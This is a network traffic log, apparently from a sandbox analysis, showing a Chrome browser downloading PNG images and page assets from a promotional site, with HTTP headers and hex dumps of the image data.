2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 67 f4 d2 3a 42 88 5b c4 09 55 fa b9 ad 12 33 bd 19 4a 39 dd 0d 30 08 ca 0f 9a 49 06 be 32 27 09 6f ab fd 93 d0 16 12 5c 65 a0 25 34 5e 35 7d a3 86 b6 1e 02 e6 35 82 d4 0b 1d fd 20 d2 30 3d 07 f3 13 0d 9e c1 4a c7 7d 6d 7f 1f e4 13 79 b0 12 26 a9 a8 a9 cf 22 91 fe 2e 63 d6 82 09 56 bb f1 7d 65 e7 4a df da eb 3a 34 32 71 60 47 cc 4f f4 a6 9b 2d 13 14 95 f2 9c af c1 e3 2d 42 94 8b ee 99 4a 97 46 b8 e9 59 c3 db be a2 33 7c ff c5 7c 29 c9 e4 0e 8a e0 f3 06 ac ba ea f6 49 47 ee cc c1 61 be e9 0f 9e a2 08 2b ef 2a bd ef 74 74 50 11 62 ef f6 82 ef 41 dd 1d 18 44 6f 3f 04 43 10 8e a1 67 b4 74 f3 b4 f5 d0 3b f2 b8 c4 49 cb 5d 47 1d 85 98 32 52 45 3c 5e 95 6d 4b 33 94 ac f7 14 a7 2b e1 13 ac 3b df 0d 9a 5b 8b aa 16 cb 33 cb da f9 8f 19 5b 31 b0 bc c1 bd 79 84 76 b8 Data Ascii: g:B[U3J90I2'o\e%4^5}5 0=J}my&".cV}eJ:42q`GO--BJFY3\|\|)IGa+*ttPbADo?Cgt;I]G2RE<^mK3+;[3[1yv
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: d8 d9 f6 ed 5e 7e 7b d8 24 0d 71 52 82 ce b0 66 93 13 01 fb eb 50 0a 10 61 1a 21 66 97 b4 f9 16 58 55 83 b2 b3 68 58 1b f2 a2 6c db bd 5e c1 f1 3a 28 9f 03 6d a0 3f 92 c5 40 3d 62 68 67 99 dd 4f cd 96 7b 2d 93 69 d0 3a 92 27 b4 41 15 8b 38 3f 67 c2 f0 7a 48 46 7a 30 11 10 f7 5b 0f 44 23 e3 90 41 8c 19 2e f6 e0 ba 25 27 b6 80 77 ad 3d 32 0f 33 1a a4 c9 b8 b7 9d 5a 27 f2 a1 48 78 86 93 aa bb ee 9b 26 07 49 9d 92 34 d0 31 49 ef 9d 4a 69 a4 ad bf 9b 65 e8 7a 94 da 1b cc d3 cd 8f 97 fd 6f e2 d9 b4 9b 8f 7b 83 a9 81 fe b0 69 e7 c3 9f 38 1d 09 30 5b cb 4b b8 2f ee 03 1f 6e 2a ed a8 61 35 f3 11 d2 ed e1 b0 89 10 ea 2c 63 02 90 98 ac e8 fb 98 18 b1 12 d7 2b 9a d5 41 be b7 07 42 44 72 6c 44 6f b8 9f 11 f1 22 24 1f 54 68 da 54 17 b5 99 8a a2 39 e6 ae 24 c6 e5 b2 a3 Data Ascii: ^~{$qRfPa!fXUhXl^:(m?@=bhgO{-i:'A8?gzHFz0[D#A.%'w=23Z'Hx&I41IJiezo{i80[K/n*a5,c+ABDrlDo"$ThT9$
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 96 4f 03 7f a1 a9 a7 04 93 93 af 03 89 79 b5 55 41 74 32 d0 5f b7 e0 fd ee f1 d1 ee 03 0b f2 6e 35 33 65 2a 83 83 31 bb 93 93 76 f4 15 b0 b4 de 28 4b 5f 48 b5 76 56 cb ca 89 33 7d 12 07 2c d5 c6 41 b4 43 e0 55 c6 8d d8 82 12 94 43 75 08 99 ab c9 74 0e ac f9 69 ce 2d 5d b9 60 e6 05 ce d6 e9 f9 1b cc 37 84 5d 52 e6 0f 0d 21 7a 73 b2 4e fb 96 74 a3 04 8a 91 26 be c5 cc 89 cc 84 6b 29 bc ce 53 4c a5 cd f4 9b 0f 84 cc b9 ae 79 11 37 82 aa 24 b4 b0 cf a5 44 4a ae 4e 1f ca 64 e5 ec 22 89 d4 f9 7f 39 1c e9 0a e6 33 31 20 49 cd 17 97 5a 28 5e 28 0d 6c 77 36 0d 2f f5 40 8e 59 8a 42 8e 5e de d8 d9 7d b0 4f 54 7e 39 63 be 63 c2 f2 8e 5d f9 9a 95 7b e2 29 cb dd 7d ee b9 44 38 ed 24 13 7b 13 fb f0 de 13 c7 79 63 96 2c 12 ca a4 80 7b f6 74 41 ba 57 33 7a 10 48 49 ba ab Data Ascii: OyUAt2_n53e*1v(K_HvV3},ACUCuti-]`7]R!zsNt&k)SLy7$DJNd"931 IZ(^(lw6/@YB^}OT~9cc]{)}D8${yc,{tAW3zHI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.16	49856	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:54 UTC	788	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/tick-input_1.png HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:54 UTC	710	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:54 GMT Content-Type: image/png Content-Length: 276 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60159 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=trn%2FlFxFqJvnfOBG%2Fp5oZeWuXMpMc13HNJUIrbueRfCwa70IHAcKgtkpk53O5mBRgRLVjVVpPRHRQaoc%2FilzzDCt2drgOuVnY1v3QC2LRYfZ1%2Fe9ul%2B9WSsVmbjdL4tm9vVhWZUKvBJgCARs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41a7dc3f43e3-EWR
2024-10-03 16:19:54 UTC	276	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 10 08 03 00 00 00 2c d8 df 6e 00 00 00 51 50 4c 54 45 4c 69 71 37 7b 31 57 a3 4e 6a ba 5f 6a bb 5f 69 b9 5e 5e ac 54 44 8b 3c 52 9d 4a 54 9f 4b 66 b6 5b 37 7b 31 3b 80 35 3e 83 37 39 7d 33 4c 94 44 58 a0 50 5b a4 52 60 a6 57 67 af 5d 6c b3 62 77 bf 6c 81 ca 76 85 c9 79 87 cd 7c 8a ce 7e 8e d0 82 0f c5 d4 60 00 00 00 0f 74 52 4e 53 00 08 09 3c 43 46 6c 7a 7f 90 e5 fb fd fe fe 02 b2 c7 2d 00 00 00 63 49 44 41 54 78 da 95 c8 59 0e 80 20 0c 00 51 57 14 f7 52 68 81 fb 1f 54 03 28 51 13 13 e7 6b f2 8a ff c9 fe 25 1a bb a7 78 56 37 93 e8 9d 9a cb f0 8d 88 e2 2e a9 07 23 82 58 35 45 69 07 f6 20 24 5a 86 24 45 85 c6 b3 d6 4c 41 92 81 76 96 08 96 20 c9 56 24 da a2 64 83 24 b9 72 1e 4f c9 76 c8 57 Data Ascii: PNGIHDR,nQPLTELiq7{1WNj_j_i^^TD<RJTKf[7{1;5>79}3LDXP[R`Wg]lbwlvy\|~`tRNS<CFlz-cIDATxY QWRhT(Qk%xV7.#X5Ei $Z$ELAv V$d$rOvW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.16	49859	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:54 UTC	833	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/favicon.jpg HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:54 UTC	712	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:54 GMT Content-Type: image/jpeg Content-Length: 428294 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:29 GMT CF-Cache-Status: HIT Age: 60145 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HqC05GpcxqLVADTIHiXf9GGitO8Jp9kEYXftTuhT4mKvCpQBt54nBmLx2bG5UPaKQ8m58VSITX8aTsfVRS%2BLPyIxAHTOGutR%2FJHau4pVr5bGQaY%2BX7EBvZMmnln3%2BJhBkWFLcs6Z81y7duMW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41abfd52434b-EWR
2024-10-03 16:19:54 UTC	657	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 48 08 02 00 00 00 53 ca 2f 52 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 9f d3 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRlHS/RpHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RD
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 33 2d 30 37 2d 32 36 54 32 30 3a 31 36 3a 31 36 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 36 2d 31 31 54 31 35 3a 34 35 3a 33 35 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 36 2d 31 31 54 31 35 3a 34 35 3a 33 35 2b 30 38 3a 30 30 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 30 63 37 66 65 36 62 34 2d 32 64 31 39 2d 30 34 34 37 2d 39 63 65 31 2d 30 37 63 65 63 62 33 65 64 38 34 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 Data Ascii: reatorTool="Adobe Photoshop 24.2 (Windows)" xmp:CreateDate="2023-07-26T20:16:16+08:00" xmp:ModifyDate="2024-06-11T15:45:35+08:00" xmp:MetadataDate="2024-06-11T15:45:35+08:00" xmpMM:InstanceID="xmp.iid:0c7fe6b4-2d19-0447-9ce1-07cecb3ed841" xmpMM:DocumentID
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 45 43 46 42 32 37 39 37 38 44 30 30 43 44 30 42 43 44 45 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 42 46 41 45 37 44 34 41 36 30 32 44 42 35 43 44 36 46 33 30 32 42 32 33 37 31 42 41 39 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 35 34 30 30 37 32 32 43 33 37 38 32 30 45 36 44 35 30 43 36 46 30 35 37 32 41 36 45 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 44 37 33 43 31 38 45 35 31 35 37 38 43 33 31 32 44 30 32 33 37 35 33 32 44 31 35 33 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 32 41 37 43 44 45 35 41 42 38 36 34 43 35 32 30 44 42 39 46 33 30 46 39 46 32 38 45 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 35 46 34 34 34 37 31 46 31 31 44 43 44 35 Data Ascii: ECFB27978D00CD0BCDEA0</rdf:li> <rdf:li>0BFAE7D4A602DB5CD6F302B2371BA9BE</rdf:li> <rdf:li>0C5400722C37820E6D50C6F0572A6E69</rdf:li> <rdf:li>0CD73C18E51578C312D0237532D1536D</rdf:li> <rdf:li>0F2A7CDE5AB864C520DB9F30F9F28E2B</rdf:li> <rdf:li>0F5F44471F11DCD5
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 33 46 46 43 35 46 37 42 37 42 34 39 30 30 46 42 45 41 45 39 37 42 35 31 30 30 41 43 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 41 31 43 43 35 42 37 32 30 46 34 35 33 39 38 44 41 45 41 35 42 30 41 31 31 33 41 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 42 33 37 42 35 36 32 35 30 36 39 30 37 41 35 43 43 39 33 36 38 45 36 37 41 35 43 34 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 42 42 37 30 43 39 41 41 41 35 30 33 37 34 39 31 42 39 36 43 37 37 30 33 30 35 33 44 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 45 36 43 38 33 45 44 32 32 41 38 34 44 33 41 32 38 42 37 33 46 41 35 41 38 35 34 38 33 39 3c 2f 72 Data Ascii: 35</rdf:li> <rdf:li>343FFC5F7B7B4900FBEAE97B5100ACF2</rdf:li> <rdf:li>34A1CC5B720F45398DAEA5B0A113AD2D</rdf:li> <rdf:li>34B37B562506907A5CC9368E67A5C49F</rdf:li> <rdf:li>35BB70C9AAA5037491B96C7703053DFB</rdf:li> <rdf:li>35E6C83ED22A84D3A28B73FA5A854839</r
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 3e 35 38 42 37 36 38 39 39 35 41 45 44 32 33 34 32 34 44 37 31 43 33 33 46 31 45 31 41 36 33 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 46 35 35 41 30 35 46 44 30 34 36 42 37 37 32 34 43 38 39 41 36 43 39 43 35 39 38 32 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 31 42 30 42 45 46 36 36 38 44 34 37 44 41 36 32 34 42 34 36 33 32 39 39 41 33 36 44 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 32 41 45 46 33 33 30 30 34 39 30 34 37 45 34 33 43 46 39 30 45 35 41 37 38 33 45 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 44 33 37 33 30 35 46 39 33 43 33 33 42 39 31 35 33 38 36 32 45 35 33 43 30 39 44 38 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 45 36 Data Ascii: >58B768995AED23424D71C33F1E1A635B</rdf:li> <rdf:li>5DF55A05FD046B7724C89A6C9C598244</rdf:li> <rdf:li>5E1B0BEF668D47DA624B463299A36D28</rdf:li> <rdf:li>622AEF330049047E43CF90E5A783EB36</rdf:li> <rdf:li>62D37305F93C33B9153862E53C09D8BF</rdf:li> <rdf:li>62E6
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 30 34 44 35 46 41 42 43 34 41 34 41 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 35 46 42 43 46 38 32 44 41 30 36 33 35 30 43 37 38 35 44 31 35 39 34 45 37 45 35 44 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 37 46 42 39 34 45 42 33 33 46 45 43 32 42 31 30 35 33 45 42 33 46 38 46 44 30 36 44 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 32 45 31 41 33 33 45 39 36 31 30 33 35 44 46 34 32 45 46 35 31 37 36 36 35 30 43 39 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 42 34 36 34 37 34 35 46 38 33 30 41 30 32 33 43 31 46 30 34 35 34 32 42 45 45 32 36 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 42 37 36 36 41 37 30 43 39 36 34 34 43 41 42 35 44 43 44 30 32 Data Ascii: 04D5FABC4A4A22</rdf:li> <rdf:li>835FBCF82DA06350C785D1594E7E5DDD</rdf:li> <rdf:li>847FB94EB33FEC2B1053EB3F8FD06D84</rdf:li> <rdf:li>892E1A33E961035DF42EF5176650C9FE</rdf:li> <rdf:li>8EB464745F830A023C1F04542BEE268F</rdf:li> <rdf:li>8EB766A70C9644CAB5DCD02
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 35 41 38 34 36 37 35 39 36 30 36 33 38 42 41 37 43 45 44 30 46 43 45 30 45 31 35 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 36 46 35 37 32 34 45 33 38 38 39 32 32 36 38 33 36 43 43 46 45 37 31 46 44 41 41 31 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 35 39 43 36 32 38 30 43 33 44 46 31 33 41 46 34 38 38 37 46 37 37 44 35 41 31 45 39 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 42 39 44 32 33 32 37 44 32 33 36 32 43 45 39 33 32 44 41 39 32 45 34 36 37 33 33 43 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 42 35 46 39 39 30 41 33 35 41 45 32 36 31 45 34 39 41 41 32 46 41 34 39 34 44 46 30 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>BF5A84675960638BA7CED0FCE0E15D72</rdf:li> <rdf:li>BF6F5724E3889226836CCFE71FDAA1B5</rdf:li> <rdf:li>C059C6280C3DF13AF4887F77D5A1E91D</rdf:li> <rdf:li>C0B9D2327D2362CE932DA92E46733CFE</rdf:li> <rdf:li>C3B5F990A35AE261E49AA2FA494DF013</rdf:li>
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 37 33 30 30 38 36 38 38 43 36 43 34 44 30 33 36 33 33 38 46 44 43 31 45 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 36 44 44 45 45 38 35 35 44 36 33 44 42 43 45 39 33 30 44 46 32 39 46 34 30 33 36 34 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 31 43 39 36 31 45 43 37 38 37 31 39 42 35 46 30 46 45 44 35 46 46 32 30 43 34 30 30 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 43 36 35 45 41 41 39 46 45 35 39 32 42 34 45 32 33 44 46 37 34 46 36 41 34 31 41 46 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 46 38 34 41 32 41 31 31 32 39 35 37 43 39 34 35 31 43 32 32 37 34 45 38 32 37 33 31 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 31 34 46 44 38 43 31 43 38 Data Ascii: 73008688C6C4D036338FDC1EBE</rdf:li> <rdf:li>F36DDEE855D63DBCE930DF29F40364A2</rdf:li> <rdf:li>F91C961EC78719B5F0FED5FF20C400F9</rdf:li> <rdf:li>F9C65EAA9FE592B4E23DF74F6A41AF6C</rdf:li> <rdf:li>F9F84A2A112957C9451C2274E827312E</rdf:li> <rdf:li>FC14FD8C1C8
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 39 66 31 38 65 36 35 2d 36 62 34 32 2d 32 37 34 33 2d 61 61 61 33 2d 63 66 32 31 30 38 32 32 66 36 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 39 66 35 34 30 31 62 2d 63 30 65 30 2d 31 31 37 37 2d 62 38 35 34 2d 65 31 38 65 30 61 62 61 31 65 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 39 66 63 30 65 61 65 2d 61 30 33 61 2d 31 31 37 39 2d 61 32 65 37 2d 62 66 61 66 38 39 38 66 39 62 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 Data Ascii: :li> <rdf:li>adobe:docid:photoshop:09f18e65-6b42-2743-aaa3-cf210822f6a4</rdf:li> <rdf:li>adobe:docid:photoshop:09f5401b-c0e0-1177-b854-e18e0aba1e88</rdf:li> <rdf:li>adobe:docid:photoshop:09fc0eae-a03a-1179-a2e7-bfaf898f9b06</rdf:li> <rdf:li>adobe:docid:ph
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 39 66 32 31 37 31 35 2d 35 61 64 36 2d 33 32 34 66 2d 39 36 36 66 2d 64 66 65 64 39 37 64 33 38 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 62 66 33 64 37 31 62 2d 65 65 65 61 2d 65 36 34 35 2d 62 34 31 30 2d 36 66 32 32 34 66 39 33 37 62 31 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 63 39 63 65 62 30 61 2d 35 64 62 64 2d 31 31 37 39 2d 38 63 34 63 2d 39 36 61 66 38 31 66 38 35 63 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f Data Ascii: li> <rdf:li>adobe:docid:photoshop:19f21715-5ad6-324f-966f-dfed97d38195</rdf:li> <rdf:li>adobe:docid:photoshop:1bf3d71b-eeea-e645-b410-6f224f937b1c</rdf:li> <rdf:li>adobe:docid:photoshop:1c9ceb0a-5dbd-1179-8c4c-96af81f85cc7</rdf:li> <rdf:li>adobe:docid:pho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.16	49858	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:54 UTC	477	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/tick-input_1.png HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:54 UTC	714	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:54 GMT Content-Type: image/png Content-Length: 276 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60159 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=keeKeVGtqp63jSKxBdb%2F7jwrtICPi%2FHCWqkyHTMf6W6UB6Yaa718iVdzr7XmPfgzq%2FDRYrZDaLEPPdYJOdJTnViGGiFmIyCPKwG3HeqPg%2FaB9m0akvh6Ha1D%2BcyJGChyrP%2FYDzp%2B5jvVFgIp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41abfff00ca1-EWR
2024-10-03 16:19:54 UTC	276	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 10 08 03 00 00 00 2c d8 df 6e 00 00 00 51 50 4c 54 45 4c 69 71 37 7b 31 57 a3 4e 6a ba 5f 6a bb 5f 69 b9 5e 5e ac 54 44 8b 3c 52 9d 4a 54 9f 4b 66 b6 5b 37 7b 31 3b 80 35 3e 83 37 39 7d 33 4c 94 44 58 a0 50 5b a4 52 60 a6 57 67 af 5d 6c b3 62 77 bf 6c 81 ca 76 85 c9 79 87 cd 7c 8a ce 7e 8e d0 82 0f c5 d4 60 00 00 00 0f 74 52 4e 53 00 08 09 3c 43 46 6c 7a 7f 90 e5 fb fd fe fe 02 b2 c7 2d 00 00 00 63 49 44 41 54 78 da 95 c8 59 0e 80 20 0c 00 51 57 14 f7 52 68 81 fb 1f 54 03 28 51 13 13 e7 6b f2 8a ff c9 fe 25 1a bb a7 78 56 37 93 e8 9d 9a cb f0 8d 88 e2 2e a9 07 23 82 58 35 45 69 07 f6 20 24 5a 86 24 45 85 c6 b3 d6 4c 41 92 81 76 96 08 96 20 c9 56 24 da a2 64 83 24 b9 72 1e 4f c9 76 c8 57 Data Ascii: PNGIHDR,nQPLTELiq7{1WNj_j_i^^TD<RJTKf[7{1;5>79}3LDXP[R`Wg]lbwlvy\|~`tRNS<CFlz-cIDATxY QWRhT(Qk%xV7.#X5Ei $Z$ELAv V$d$rOvW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.16	49860	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
